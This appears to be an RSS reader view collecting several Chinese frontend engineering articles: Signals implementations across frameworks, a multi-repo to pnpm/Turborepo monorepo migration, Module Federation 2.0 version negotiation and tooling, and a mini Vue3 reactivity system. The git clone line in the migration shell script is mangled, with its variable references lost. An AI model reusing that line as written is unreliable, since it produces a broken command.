阅读视图

发现新文章,点击刷新页面。

Signals 跨框架收敛:TC39 提案、Solid、Angular、Preact 的实现差异与调度策略对比

前端框架搞响应式搞了十年,最后殊途同归——大家都在写 Signals。Solid 从第一天就是 Signals 架构,Preact 半路加了 @preact/signals,Angular 在 v16 直接官宣 signal(),连 TC39 都坐不住了,要把 Signals 塞进语言规范。

它们长得像,骨子里是一回事吗?

Angular Signals:渐进式改造的务实路线

Angular 的 Signals 实现跟 Solid 的哲学截然不同。Solid 是"一切皆 Signal"的激进路线,Angular 走的是"Signal 是一个新选项,跟已有体系共存"的渐进路线。

Angular 的调度:微任务 + 组件树协调

Angular 的 Signal 更新不是同步的,也不是简单的事件循环批量。它走的是微任务批量 + 组件树自上而下协调的路线。

具体流程是:signal.set() 只做脏标记,不立即重新计算 computed。在微任务队列中安排一次变更检测,从根组件开始自上而下遍历组件树,遇到标记为脏的组件才检查其 Signal 依赖、重新计算 computed、更新 DOM。

const name = signal('Alice')
const greeting = computed(() => `Hello, ${name()}`)

name.set('Bob')
name.set('Charlie')
name.set('Dave')
// → 三次 set 合并成一次变更检测,greeting 只算一次 → "Hello, Dave"

这种策略的好处是:无论在事件处理器、setTimeout 还是 Promise 回调中,多次 set 都会被自动合并,不需要手动 batch。代价是更新延迟到微任务——如果你在 set 之后立即读 DOM,拿到的是旧值。Angular 选择这个策略,是因为要兼容已有的组件树生命周期。

effect() 的克制态度

Angular 对 effect() 的态度很谨慎——官方文档明确说这是"逃生舱",能不用就不用。体现在 API 设计上,effect() 必须在注入上下文中创建:

@Component({ /* ... */ })
export class MyComponent {
  count = signal(0)

  constructor() {
    effect(() => console.log('count:', this.count()))  // 构造函数中有注入上下文
  }

  someMethod() {
    // 普通方法中没有注入上下文,直接调 effect() 会报错
    // 需要手动传入 injector:
    // effect(() => { ... }, { injector: this.injector })
  }
}

这是有意为之的摩擦。

三大实现的调度策略对比

调度策略的差异是这三个框架 Signals 实现的核心分水岭。同样一段状态更新代码,在三个框架中执行时机和顺序可能完全不同。

同步、异步、还是混合

事件触发 → set signal

  Solid:同步执行(事件内自动 batch)
    → batch 结束 → 同步 flush 所有 effect

  Angular:异步调度(微任务)
    → set → 标记脏 → queueMicrotask → 变更检测 → 更新

  Preact:混合模式
    → 直接绑定:同步更新文本节点(绕过 VDOM)
    → .value 读取:组件级调度(通过 VDOM diff)

把这三种策略放到同一个场景下看更直观。假设一个表单有 10 个字段,用户触发了一次"全部重置":

Solid:事件处理器内自动 batch,10 次 set 合并,依赖这些字段的 effect 只执行一次。换成 setTimeout 调用就需要手动 batch,否则触发 10 次更新。

Angular:10 次 set 都只是标记脏,在下一个微任务中统一做一次变更检测。

Preact:如果用了直接绑定(JSX 中传 signal 对象),10 个文本节点同步更新,不触发组件 re-render。如果用了 .value,需要 batch 包裹,否则组件可能 re-render 多次。

菱形依赖:Glitch-free 怎么保证

响应式系统有一个经典难题——菱形依赖。当一个 computed 依赖的多个上游共享同一个源头时,更新顺序不对就会出现错误的中间态:

const a = signal(1)
const b = computed(() => a.value * 2)       // b = 2
const c = computed(() => a.value * 3)       // c = 3
const d = computed(() => b.value + c.value) // d = 5

// a 变为 2 时,d 应该等于 4 + 6 = 10
// 但如果 d 在 b 更新后、c 更新前被计算 → d = 4 + 3 = 7(错误的中间态)

依赖关系形成了一个菱形:a 分叉到 b 和 c,再汇聚到 d。三个框架都解决了这个问题,方式不同。

Solid 用拓扑排序——按依赖图的层级顺序执行更新,保证 dbc 都更新后才重新计算。这是 push 模型下的经典解法。

Angular 用 pull-based 惰性求值——d 只在被读取时才重新计算,读取时会先递归检查 bc 是否需要更新。读 d 之前先把上游全拉到最新,天然不会出现中间态。

Preact 也是 pull-based 模型,额外加了版本号机制——每个 signal 有一个单调递增的版本号,computed 在求值时通过比较版本号判断依赖是否已经更新过了。

Push vs Pull 的本质差异

这三个框架表面上都叫"Signals",底层的推拉模型配比其实不一样:Push 模型的特点是"源头变了就主动通知下游"。

Pull 模型反过来,"有人读的时候才去检查上游有没有变"。

实际上三个框架都是混合模型:computed 用 pull(惰性),effect 用 push(主动)。区别在于配比和默认倾向——Solid 更偏 push,它的编译器会生成细粒度的 effect 来驱动 DOM 更新;Angular 更偏 pull,变更检测时才从模板"拉取" signal 的值。

设计权衡:为什么调度无法统一

TC39 提案留白调度的原因

TC39 提案不做调度,这不是疏忽,是刻意为之。设想一下:如果 TC39 强制规定"所有 effect 在微任务中执行",Solid 的同步更新场景就没法做了;如果规定同步执行,Angular 的组件树协调又会被打破;如果规定用 requestAnimationFrame,动画场景合适了,表单交互又会有延迟感。

调度策略跟框架的渲染管线是一体两面。

强行统一调度,就像要求所有快递公司用同一种分拣流程——京东的自营仓和菜鸟的网格仓,底层逻辑根本不一样。

各方案的边界条件

每种实现都有碰壁的地方,了解这些边界在选型时比看 API 有用得多。

Solid 的 async/await 困境:纯运行时依赖收集的固有限制——await 会让 JavaScript 引擎挂起当前函数并清空调用栈,恢复时全局追踪栈上的 observer 已经不在了。

createEffect(async () => {
  const val = count()      // 这里的依赖能追踪到
  await fetch('/api')
  const val2 = other()     // await 之后追踪上下文丢失,other 变化不会触发此 effect
})

这不是 bug,是机制决定的。Solid 官方建议在 effect 中把所有 signal 读取放在第一个 await 之前,或者用 createResource 处理异步场景。

Angular 的双系统心智负担:Signal 和 RxJS Observable 并存。虽然提供了 toSignal()toObservable() 做桥接,但团队中一半人习惯用 Observable 处理异步流、另一半人用 Signal 处理同步状态,代码风格容易分裂。在一个真实的 Angular 16+ 项目中(比如一个中后台系统),你可能会看到同一个 service 里 BehaviorSubjectsignal() 混用,维护起来很头疼。

Preact 的直接绑定局限:直接绑定模式只对文本内容生效。需要根据 signal 值动态切换 CSS 类名、控制元素显隐、或者传递 props 给子组件时,还是得走 .value 路线触发组件 re-render。也就是说,性能最优的路径覆盖面有限,复杂 UI 逻辑中很难全程使用。

从"框架特性"到"语言能力"还有多远

TC39 Signals 提案要真正落地到浏览器,还有几道坎要过。

JS 引擎级优化的想象空间

一旦 Signals 成为语言原语,JS 引擎可以做目前用户态代码做不到的优化。

依赖图可以用引擎内部的数据结构表示,不需要 JavaScript 对象和 Set 的开销。computed 的缓存失效检查可以在 JIT 层面优化,减少属性查找。垃圾回收也可以更智能地处理不再被引用的 signal 和它们的订阅关系——目前框架实现中,忘记清理的 effect 订阅是常见的内存泄漏来源。

这些优化在用户态框架中是不可能实现的。这也是 TC39 提案最大的远期价值——不是统一 API,而是打开引擎级优化的大门。

框架间共享依赖图

如果 TC39 Signals 落地,一个有意思的可能性是:不同框架的组件可以共享同一个响应式依赖图。

// 未来场景:一个页面同时用了 Solid 和 Angular 组件
const sharedState = new Signal.State({ user: null })

// Solid 组件读取 sharedState → 注册 Solid 的调度器
// Angular 组件读取 sharedState → 注册 Angular 的调度器
// sharedState 变化时,两个框架各自按自己的方式更新

这对微前端场景有实际价值。目前不同框架间传递状态要走 CustomEvent、全局变量或者额外的状态管理层。有了标准 Signals,跨框架的响应式状态共享就变成了原生能力,不需要中间层。

对现有框架的迁移成本

三个框架的迁移难度差异明显。

Solid 的 createSignalcreateMemo 跟 TC39 的 Signal.State / Signal.Computed 语义最接近,换成标准 API 的薄封装就行,兼容成本最低。

Angular 需要把 signal()computed() 的底层实现从自研切换到标准 Signals,上层 API 保持不变。工作量集中在框架内部,对应用代码几乎透明。

Preact Signals 的情况最微妙——它的双路径模式(直接绑定 vs .value 读取)是在自己的 signal 实现上做的深度定制。标准 API 没有"把 signal 对象直接当值用"这个能力,Preact 需要在标准 Signals 之上额外包装一层,复杂度比另外两家高。

从多仓到 Monorepo 的渐进式迁移:Git 历史保留、依赖收敛与缓存调优

迁移之前,我们团队的日常是这样的:改一个公共组件,要在 3 个仓库之间反复 npm link;改完之后走 npm publish 发版,再挨个去下游仓库 npm update;结果经常碰到版本范围匹配出错——^1.2.0 悄悄拉到了 1.3.0,类型对不上,排查半天才发现是另一个同事昨天发的 minor 版本搞的。

这是我们团队 8 个前端仓库并行开发两年之后的真实状况。每次跨仓改动,光是 npm link 和版本对齐就能吃掉半天。终于有一天,Tech Lead 在周会上拍板:"我们迁 Monorepo 吧。"

三个月,无数个坑,8 个仓库最终合进了一个 pnpm workspace + Turborepo 的 Monorepo。

Git 历史迁移:git filter-repo 才是正解

迁移 Monorepo 最纠结的一个决定:要不要保留 Git 历史?

直接把代码复制过来建新仓库最省事,但 git blame 就废了。对于一个有两年历史的项目来说,git blame 几乎是排查问题时的第一反应——"这行代码谁在什么场景下写的"。丢掉历史,等于未来排查问题时少了一个重要线索。

方案对比:subtree merge vs filter-repo

最开始我们试了 git subtree add --prefix=packages/shared-components,看起来很美,但踩了两个坑:历史记录是"拍扁"的,所有 commit 混在主仓库时间线里,git log --follow 对重命名的文件跟踪不了;如果子仓库有 merge commit,合进来之后历史图会变成一团乱麻。

最终选了 git filter-repo。这个工具能在保留完整历史的前提下,批量重写文件路径。

迁移脚本的核心流程

每个仓库的迁移分三步:克隆源仓库到临时目录,用 filter-repo 给所有文件路径加上目标前缀(比如 src/Button.tsx 变成 packages/shared-components/src/Button.tsx,commit 历史中的路径也会同步修改),然后在 monorepo 里把改写后的历史 merge 进来。

#!/bin/bash
# migrate-repo.sh — 单个仓库的历史迁移

REPO_URL=$1        # 源仓库地址
TARGET_DIR=$2      # 目标路径,如 packages/shared-components
BRANCH=${3:-main}
TEMP_DIR=$(mktemp -d)

git clone --single-branch --branch "BRANCH""BRANCH""REPO_URL" "$TEMP_DIR"
cd "$TEMP_DIR"

# 重写所有 commit 中的文件路径,加上目标目录前缀
git filter-repo --to-subdirectory-filter "$TARGET_DIR" --force

cd /path/to/monorepo
git remote add temp-migrate "$TEMP_DIR"
git fetch temp-migrate
git merge temp-migrate/"$BRANCH" --allow-unrelated-histories \
  -m "chore: migrate $TARGET_DIR with full git history"
git remote remove temp-migrate
rm -rf "$TEMP_DIR"

这里有个容易忽略的细节:--allow-unrelated-histories 是必须的。每个源仓库的 commit 树和 monorepo 完全独立,没有共同祖先,Git 默认会拒绝这种合并。

迁移顺序决定了过程的平稳度

我们按依赖拓扑排序,从叶子节点开始:design-tokens 和 eslint-config(零依赖)先进,然后是 shared-utilsshared-components,最后是三个应用。

为什么这个顺序很重要?因为每合进一个仓库,我们都会跑一次 pnpm install 和 tsc --build 来验证当前状态是否正常。如果先合应用层,它依赖的 shared-components 还没进来,类型检查和构建都会挂。从叶子节点开始,每一步合进来的仓库都能在当前 monorepo 里正常构建,出了问题也能立刻定位是哪个仓库的迁移引入的。

我们中间有一次没按顺序,把 app-admin 提前合了进来。结果 pnpm install 时它依赖的 @xxx/shared-components 在 workspace 里找不到,pnpm 直接去 npm registry 拉了线上旧版本,构建倒是过了,但类型对不上——线上版本还没有我们本地最新加的几个 props。排查了一个多小时才意识到是顺序的问题。

迁完 8 个仓库后,monorepo 的 commit 数量从 0 涨到了 4000+,用 git log --oneline | wc -l 验证总数,和各仓库之和对得上。随便挑几个文件跑 git blame,能看到原始仓库的 commit hash、作者和日期,说明历史完整保留了。

跨仓依赖收敛:从 npm 包到 workspace 协议

历史搬完了,代码都在一个仓库里了,但各个 package 的 package.json 还在引用 npm 上的包。要把这些改成 pnpm workspace 的内部引用。

workspace 结构和依赖替换

先在根目录建 pnpm-workspace.yaml,声明 packages/* 和 apps/* 两个目录。然后批量把所有内部包的版本号替换为 workspace:*

// 替换前
{ "@xxx/shared-components": "^1.3.0", "@xxx/utils": "^2.1.0" }
// 替换后
{ "@xxx/shared-components": "workspace:*", "@xxx/utils": "workspace:*" }

workspace:* 告诉 pnpm:这个包就在本地 workspace 里,不要去 npm registry 找。开发时直接引用源码或构建产物,改了立刻生效,不需要发版。发布时 pnpm 会自动把 workspace:* 替换成实际版本号。

外部依赖版本不一致——最耗时的部分

8 个仓库各自装了两年依赖,同一个包的版本五花八门。比如 React:shared-components 用的 ^18.2.0app-admin 是 ^18.0.0app-h5 居然还停在 ^17.0.2app-mini 则是 ^18.3.0

pnpm workspace 对这种情况还算宽容——每个 package 可以有自己的依赖版本。但版本一致性直接影响 Turborepo 的缓存命中率(后面会展开讲),所以我们用 pnpm overrides 强制统一了关键依赖:

// monorepo 根目录 package.json
{
  "pnpm": {
    "overrides": {
      "react": "^18.3.1",
      "react-dom": "^18.3.1",
      "typescript": "~5.4.0",
      "lodash": "npm:lodash-es@^4.17.21"
    }
  }
}

pnpm overrides 像一把大锤——不管子 package 声明的是什么版本,最终安装的都是 overrides 指定的。

这里踩了一个坑:app-h5 从 React 17 直接拉到 18.3.1 之后,用了 ReactDOM.render 的入口文件控制台疯狂报 warning。React 18 要求换成 createRoot,连带着一些依赖 ReactDOM.render 的第三方库(我们用的一个老版本富文本编辑器)也得升级。这部分额外花了两天,如果一开始就列出每个仓库的 React 大版本差异,可以提前评估工作量。

TypeScript 项目引用

代码和依赖都在一起了,但 TypeScript 还不知道怎么跨 package 做类型检查。需要给每个子包配 composite: true 和 references,在根目录的 tsconfig.json 里把所有子项目串起来。

// packages/shared-components/tsconfig.json
{
  "compilerOptions": {
    "composite": true,
    "declaration": true,
    "declarationMap": true
  },
  "references": [
    { "path": "../design-tokens" },
    { "path": "../shared-utils" }
  ]
}

配好之后,tsc --build 会按依赖顺序增量编译整个 monorepo,只重新编译有变更的包和它的下游。根目录的 tsconfig.json 自己不编译任何文件("files": []),纯粹用来声明子项目拓扑关系。

远程缓存命中率:从 30% 到 85% 的调优过程

Turborepo 的本地缓存在单人开发时够用,但团队协作时需要远程缓存——我在 A 分支构建过的包,你在 B 分支如果没改过,应该能直接复用。我们接入自建 HTTP 缓存服务器后,初始命中率只有 30%。70% 的构建任务在重复劳动,完全没发挥出缓存的价值。

元凶一:环境变量泄漏(30% → 50%)

Turborepo 默认会把一些环境变量算进 hash。CI 环境有 CI=trueNODE_ENV=production,本地没有,hash 自然不一样,缓存永远命中不了。

解法是在 turbo.json 里显式声明哪些环境变量影响构建:

{
  "globalEnv": ["NODE_ENV"],
  "tasks": {
    "build": {
      "env": ["VITE_API_BASE", "VITE_APP_VERSION"]
    }
  }
}

只有这些变量参与 hash 计算,CI 和本地之间 CIGITHUB_SHA 之类的差异不再影响缓存。这一步改完命中率直接从 30% 跳到 50%。

元凶二:生成文件污染 inputs(50% → 65%)

我们的构建流程会从 OpenAPI spec 自动生成 src/generated/api-types.ts。这个文件在 src/** 的 glob 范围内,每次生成即使内容没变,文件时间戳也会更新,Turborepo 就认为 inputs 变了。

解法是把代码生成拆成独立的 Turborepo 任务:

{
  "tasks": {
    "codegen": {
      "inputs": ["openapi.yaml"],
      "outputs": ["src/generated/**"]
    },
    "build": {
      "dependsOn": ["codegen", "^build"],
      "inputs": ["src/**", "!src/generated/**", "tsconfig.json"],
      "outputs": ["dist/**"]
    }
  }
}

codegen 和 build 各管各的缓存。openapi.yaml 没变就不重新生成,src 没变就不重新构建,两者互不干扰。

元凶三:锁文件变动的连锁反应(65% → 80%)

pnpm-lock.yaml 是 Turborepo 默认的全局 input。任何人装了个新依赖,锁文件一变,全部包的缓存全部失效。

这个问题比较棘手。锁文件确实影响构建结果——间接依赖版本变了,构建产物可能不同。但大部分时候,改动只影响一两个包,不应该让整个 monorepo 的缓存全部作废。

我们的妥协方案是把 pnpm-lock.yaml 从 globalDependencies 里拿掉,只保留真正全局的配置(如 tsconfig.base.json)。代价是可能出现间接依赖变化导致的构建差异未被检测到,但我们用 CI 的集成测试兜底——每天凌晨跑一次全量构建,如果有问题第二天早上能看到。

这是一个不完美的 trade-off。

最后 5%:缓存服务的存储策略(80% → 85%)

剩下的 miss 大多来自缓存过期。自建缓存服务用的 S3 存储,默认 TTL 7 天。但像 design-tokenseslint-config 这种几个月都不变的基础包,7 天一过缓存没了又得重新构建。

我们按包的变更频率设了不同的 TTL:design-tokens 和 eslint-config 30 天,shared-utils 14 天,shared-components 7 天(变得比较频繁),其他默认 3 天。再加上 LRU 淘汰策略,S3 bucket 限制在 50GB 以内,命中率稳定在 83%-87%。

迁移之后踩的坑

坑一:monorepo 的 CI 从 5 分钟膨胀到 25 分钟

8 个仓库合成一个之后,CI 从原来每个仓库 3-5 分钟,变成全量跑 25 分钟。原因是 CI 默认 pnpm install 装所有依赖,turbo build 构建所有包——哪怕这次 PR 只改了 app-admin 的一个按钮颜色。

解法是用 Turborepo 的 --filter 配合 Git diff,只跑受影响的包:

bash复制

turbo build test --filter='...[origin/main]'

这行命令的意思是:找出相对于 main 分支有文件变动的包,以及依赖这些包的下游包,只对它们跑 build 和 test。改了 app-admin 的按钮颜色,就只构建 app-admin,3 分钟搞定。改了 shared-components,会自动触发所有引用它的应用一起构建。

改完之后,80% 的 PR 的 CI 时间回到了 3-8 分钟,只有改公共包的 PR 才需要 15 分钟左右。

坑二:IDE 卡到怀疑人生

8 个仓库的代码放到一个 VS Code workspace 里,TypeScript Language Server 直接吃满 4GB 内存,输入一个字符要等 2-3 秒才有自动补全。

两个办法缓解:

第一,在 .vscode/settings.json 里做减法。关掉 typescript.preferences.includePackageJsonAutoImports(这个功能会扫描所有 node_modules 来生成 import 建议),把 node_modulesdist.turbo.next 目录加到 files.watcherExclude 和 search.exclude 里,减少文件系统监听的压力。

第二,靠 TypeScript 的 Project References。开了 composite: true 之后,TS Server 不会一次性加载全部子项目的源码,而是按需加载——打开 app-admin 的文件时只加载它直接依赖的 shared-components 和 shared-utils 的类型声明(.d.ts),不加载其他应用的代码。内存占用从 4GB 降到了 1.5GB 左右,自动补全延迟也回到了可接受的范围。

坑三:新人 onboarding 成本翻倍

仓库有 4000+ commit 历史,pnpm install 要装 2000+ 个包(8 个项目的依赖加起来),turbo build 第一次全量构建要跑 8-10 分钟。新人第一天 clone 下来,面对这个规模会有点懵——"我只负责 admin 后台,为什么要装移动端 H5 的依赖?"

我们最终沉淀了一套 onboarding 流程:

  1. 用 git clone --depth=1 浅克隆,不拉 4000 条历史,clone 时间从 3 分钟降到 20 秒
  2. 根目录放了一个 setup.sh,一键完成 pnpm install + turbo build 全量构建,同时填充本地 Turborepo 缓存
  3. 之后日常开发只需要 pnpm turbo build --filter=@xxx/app-admin 构建自己负责的应用,增量构建通常 10 秒以内

另外在根目录的 README.md 里画了一张包依赖关系图(用 mermaid 生成),新人看一眼就知道 app-admin 依赖了哪些内部包,改了 shared-utils 会影响哪些应用。

迁移三个月后的数据对比

指标 迁移前(8 个仓库) 迁移后(Monorepo)
跨仓改动耗时 半天(npm link + 发版 + 更新) 10 分钟(改完直接引用)
CI 平均时长 3-5 分钟/仓库,但跨仓要手动触发多个 3-8 分钟(单包),15 分钟(公共包)
版本冲突频率 每周 2-3 次 基本消失(workspace 协议 + overrides)
依赖安装时间 每个仓库各装一遍,总计 15 分钟+ 一次 pnpm install,3 分钟
新人上手时间 1 天(配 8 个仓库的开发环境) 半天(一个仓库,一个 setup 脚本)

回头看,最值得的不是构建速度的提升,而是跨仓改动的心理负担没了。以前改公共组件要发版、要通知下游、要确认版本号,现在就是正常提交代码,CI 自动帮你验证所有下游是否兼容。

最坑的部分是 React 17 → 18 的升级,和远程缓存命中率的调优。这两个加起来占了迁移总工作量的一半。如果你的团队也在考虑迁 Monorepo,建议先花一天时间梳理所有仓库的核心依赖版本差异,提前评估升级工作量——这个信息决定了你应该给迁移留多少 buffer。

Module Federation 2.0 共享策略翻车实录:版本协商、热更新与依赖冲突的排查工具链

三个月前,我们把一个 B 端 SaaS 平台从 Webpack 5 的 Module Federation 1.0 迁到了 2.0。主应用加 6 个远程团队的子应用,涉及 React 18、antd 5.x、三套不同版本的 lodash,外加一个用了 moment 死活不肯迁 dayjs 的老团队。

迁完当天,线上白屏了。

控制台报了一个极其隐晦的错:Shared module is not available for eager consumption。查了两个小时才定位到根因——两个子应用对 react-dom 的版本协商结果不一致,一个拿到了 18.2.0,另一个拿到了 18.3.1。而 18.3.1 那个由于加载顺序的问题,在协商窗口关闭后才注册上来,直接被跳过了。

这篇文章是那次翻车之后,团队花三周搞出来的调优方案和诊断工具链的复盘。

MF 2.0 的共享运行时到底在干什么

协商窗口——最容易翻车的地方

关键问题来了:什么时候协商?

MF 2.0 有一个隐式的"协商窗口"概念。主应用调用 init() 初始化共享作用域后,会等待所有已知的远程容器注册完它们的共享模块,然后进入消费阶段。一旦某个模块开始消费某个共享依赖,协商窗口就关闭了——后来者注册的版本不会被纳入考量。

用时间线表示会更直观:

  init()  → 注册窗口打开
  Remote A 注册 react@18.2.0  
  Remote B 注册 react@18.3.1  
  Remote A 消费 react → 协商:选 18.3.1
  ════════ 协商窗口关闭 ════════
  Remote C 注册 react@18.2.0   来晚了
  Remote C 消费 react → 拿到 18.3.1
  (如果 C 配了 ~18.2.0 + strictVersion: true → 直接报错)

我们线上白屏就是这个时序问题。Remote C 是一个懒加载的子应用,用户点击菜单才加载,注册得晚,但它的 react-dom 配了 strictVersion: true,协商结果不满足它的版本要求,页面直接崩了。

版本协商算法:不只是 semver 匹配

默认协商策略的三层逻辑

MF 2.0 的版本协商不是简单的"找最新版",而是一个三层决策逻辑。

第一层是 singleton 模式判断。如果某个包被标记为 singleton,全局只保留一个版本,取已注册版本中最高的那个。这时如果同时配了 strictVersion,而最高版本不满足消费者的 requiredVersion,就会直接抛错;不配 strictVersion 的话,即使版本不匹配也硬上。

第二层是 semver 范围匹配。在所有已注册版本中,筛选出满足消费者 requiredVersion 范围的,取其中最高的。

第三层是兜底。没有满足条件的版本时,先尝试消费者自带的 fallback 版本;fallback 也没有的话,看 strictVersion ——配了就报错,没配就拿最高版本硬上,赌一把兼容性。

这三层逻辑在文档里分散在好几个地方,拼起来才能看到全貌。实际运行时还要考虑 eager 标记的影响——eager: true 的模块会在 init() 阶段就被加载,直接跳过协商窗口。

singleton 的隐式降级——我们踩过最阴的坑

reactreact-dom 几乎所有人都会配 singleton: true,这没问题。

我们有一个子应用依赖了 React 18.3.1 新增的 useFormStatus hook,但全局协商结果是 18.2.0(主应用锁了 18.2.0 且最先注册)。子应用拿到了 18.2.0 的 React,调用 useFormStatus 时直接 undefined is not a function

排查这个问题花了大半天,因为没有任何 warning。看配置,一切正常;看网络请求,React 确实加载了;看版本号——这一步才意识到拿到的不是预期版本。教训很明确:

//  只写 singleton → 版本不匹配时静默降级,运行时才爆炸
react: { singleton: true, requiredVersion: '^18.3.0' }

//  加上 strictVersion → 至少报一个明确的错误
react: { singleton: true, strictVersion: true, requiredVersion: '^18.3.0' }

两行配置的差别,决定了你是花 10 分钟看报错信息定位问题,还是花半天在毫无线索的情况下大海捞针。

远程模块热更新:比想象中复杂得多

静态远程 vs 动态远程

MF 2.0 支持两种远程模块加载方式。静态远程在构建时确定入口 URL,动态远程在运行时决定从哪里加载。热更新的难度完全不同。静态远程的"热更新"其实是个伪命题——URL 不变,浏览器缓存不失效,用户刷新页面才能拿到新版本。

动态远程才有真正的热更新能力。核心流程是:从配置中心拿到最新的远程入口 URL(带版本 hash),动态初始化远程容器,让新容器和当前的共享作用域完成握手,再获取模块工厂。

热更新的真正难点:共享依赖的状态一致性

假设 Team B 发布了子应用新版本,主应用通过动态远程加载了新的 remoteEntry.js,新版本把 antd 从 5.12 升到了 5.15。

问题在于:旧版本的子应用已经通过共享作用域拿到了 antd@5.12,全局样式和 ConfigProvider 的上下文状态都已经注入到 DOM 里了。新版本注册了 antd@5.15,但共享作用域里 antd 早就被消费过了,协商窗口关了。结果就是新子应用用的还是 5.12 的 antd,但代码是按 5.15 的 API 写的——该有的方法不存在,该变的行为没变。

我们的方案:分代共享作用域

最终我们搞了一个"分代"机制。每次有远程模块热更新时,不在原来的共享作用域上修修补补,而是创建一个新的作用域"代",让新版本的模块在新代里协商。新代会继承上一代已锁定的共享模块(除了需要升级的部分),新版本的远程模块在新代中注册和解析,旧版本继续用旧代,互不干扰。代价是内存占用增加——同一个依赖可能在不同代里各加载一份。

分代方案不是万能的。有几种情况我们选择直接强制整页刷新:

  • react / react-dom 版本变了——这俩 singleton 没法分代,React 的内部状态是全局的
  • 共享的状态管理库(zustand、redux)大版本变了——store 结构不兼容
  • CSS-in-JS 运行时(styled-components、emotion)版本变了——样式上下文会出问题

分代方案的其他代价

调试变得更复杂了。多代并存意味着同一个 antd Button 组件可能在页面上有两个版本同时渲染,样式不一致。我们的解法是在分代切换时对旧代组件做一次强制 unmount + remount,但这会导致短暂的 UI 闪烁。

GC 也是个问题。

诊断工具链:从"猜"到"看见"

共享作用域可视化面板

排查共享依赖问题最痛苦的地方是看不见。

我们做了一个 Chrome DevTools 面板插件。核心逻辑不复杂:遍历 __webpack_share_scopes__ 的全部条目,提取包名、版本号、注册来源、是否 eager、是否已被消费等信息,外加我们通过 monkey-patch 注入的注册时间戳和消费时间戳,结构化成扁平的数据数组。

面板 UI 分两个视图。表格视图列出所有共享包及其版本,标记出哪些是协商胜出的、哪些是 fallback、哪些被跳过了。时间线视图展示每个远程容器的注册和消费顺序——时序问题在这个视图里一眼就能看出来。

版本协商模拟器

线上出了问题再排查太晚了,我们需要在 CI 阶段就发现潜在冲突。

思路是:构建阶段收集所有子应用的 shared 配置,模拟运行时的协商过程,提前暴露不兼容。模拟器遍历每个应用注册的包版本,对每个消费者的 requiredVersion 做匹配检查。两种情况会标红:一是 strictVersion 配了但没有满足条件的版本,二是 singleton 模式下最高版本不满足某个消费者的 requiredVersion——也就是说该消费者运行时会拿到一个不兼容的版本。

我们把这个 checker 集成到了 GitLab CI 的 merge request 流程里。每次有子应用提交 MR,CI 会从 federation registry 服务拉取所有其他子应用当前的 shared 配置,跑一遍模拟协商。有冲突的话 MR 直接标红,强制人工 review。上线两个月,这个 checker 在 CI 阶段拦截了 14 次潜在的版本冲突,其中 3 次如果上了线上就是白屏级别的故障。

运行时依赖图谱追踪

最后一个工具解决的是:页面上真出了共享依赖相关的 bug,怎么快速定位到是哪条依赖链路出了问题。

我们对 MF 的 __webpack_init_sharing__ 和远程容器的 init / get 方法做了 monkey-patch,记录每一次共享依赖的注册、协商和消费事件,包括时间戳、来源容器名、注册了哪些共享模块等。trace 数据导出为 JSON 后,扔到可视化面板里就能画出完整的依赖图谱和时间线。排查问题时,不用再在控制台里一层层展开对象了。

Vue3 响应式原理:从 Proxy 到依赖收集,手撸一个迷你 reactivity

Vue3 响应式原理:从 Proxy 到依赖收集,手撸一个迷你 reactivity

手撸开始:一个 200 行以内的迷你 reactivity

第二步:effect——注册一个"关心数据变化"的函数

function effect(fn: () => void) {
  const run = () => {
    activeEffect = run
    effectStack.push(run)
    fn()                      // 执行 fn 的过程中会触发 get → 收集依赖
    effectStack.pop()
    activeEffect = effectStack[effectStack.length - 1] || null
  }
  run() // 立即执行一次,触发首次依赖收集
}

为什么要用栈?看这个场景:

effect(() => {          // effectA
  console.log(state.a)
  effect(() => {        // effectB
    console.log(state.b)
  })
  console.log(state.c)  // 这里 activeEffect 应该是 effectA,不是 effectB
})

如果不用栈,内层 effect 执行完后 activeEffect 就丢了,外层的 state.c 会收集不到依赖。这不是什么边界 case,嵌套 computed 就会触发这个场景。

第三步:依赖存储结构

// 数据结构:target → key → Set<effect>
// 翻译成人话:哪个对象的哪个属性,被哪些 effect 函数关心
const targetMap = new WeakMap<object, Map<string | symbol, Set<() => void>>>()

function track(target: object, key: string | symbol) {
  if (!activeEffect) return  // 没人在执行 effect,不用收集
  let depsMap = targetMap.get(target)
  if (!depsMap) {
    depsMap = new Map()
    targetMap.set(target, depsMap)
  }
  let deps = depsMap.get(key)
  if (!deps) {
    deps = new Set()
    depsMap.set(key, deps)
  }
  deps.add(activeEffect) // 把当前 effect 函数记下来
}

function trigger(target: object, key: string | symbol) {
  const depsMap = targetMap.get(target)
  if (!depsMap) return
  const deps = depsMap.get(key)
  if (!deps) return
  deps.forEach(fn => fn()) // 数据变了,挨个通知
}

为什么用 WeakMap

第四步:reactive——把普通对象变成响应式

function reactive<T extends object>(target: T): T {
  return new Proxy(target, {
    get(obj, key, receiver) {
      track(obj, key)                     // 读的时候:收集依赖
      const result = Reflect.get(obj, key, receiver)
      // 如果值还是对象,递归代理(懒代理,用到才代理)
      if (typeof result === 'object' && result !== null) {
        return reactive(result)
      }
      return result
    },
    set(obj, key, value, receiver) {
      const oldValue = obj[key as keyof T]
      const result = Reflect.set(obj, key, value, receiver)
      if (oldValue !== value) {
        trigger(obj, key)                 // 写的时候:触发更新
      }
      return result
    }
  })
}

注意这里的懒代理——不是一上来就递归把所有嵌套对象全代理了,而是访问到某个属性发现它是对象时才代理。这是 Vue3 相比 Vue2 的一个性能优化。Vue2 的 observe 是初始化时递归全量遍历,数据量大的时候初始化会卡。


设计权衡:为什么 Vue3 这么设计

Proxy vs defineProperty

维度 defineProperty Proxy
新增属性 拦不到,需要 $set 自动拦截
数组变异 需要 hack 7 个方法 原生支持
初始化成本 全量递归 懒代理,按需
兼容性 IE9+ IE 完全不支持
性能 属性多时慢 整体更优

Vue3 放弃 IE 不是任性,是 Proxy 没法 polyfill。这是个技术选型的取舍——用兼容性换来了更好的 API 和性能。

为什么不用脏检查(Angular 1 的方式)

脏检查是每次变化都全量对比。数据少的时候没啥,数据一多就是灾难。就像你为了看快递到没到,每五分钟打开门看一次,不如让快递员到了给你打电话。

为什么依赖收集在 get 里而不是手动声明

手动声明依赖意味着你需要自己维护"谁依赖谁"的关系。React 的 useEffect 就是这个思路——你得手写依赖数组。忘写一个?恭喜你喜提一个 stale closure bug。

Vue 的自动依赖收集虽然有运行时成本,但开发体验好太多。你用到了哪些数据,框架自动知道。


边界与踩坑

解构丢失响应式

回到开头的问题:

const state = reactive({ count: 0 })

//  解构出来是个普通值,和 state 断开了
const { count } = state // count = 0,就是个数字

//  用 toRefs 保持连接
const { count } = toRefs(state) // count 是个 ref,.value 和 state.count 同步

reactive 只能用于对象

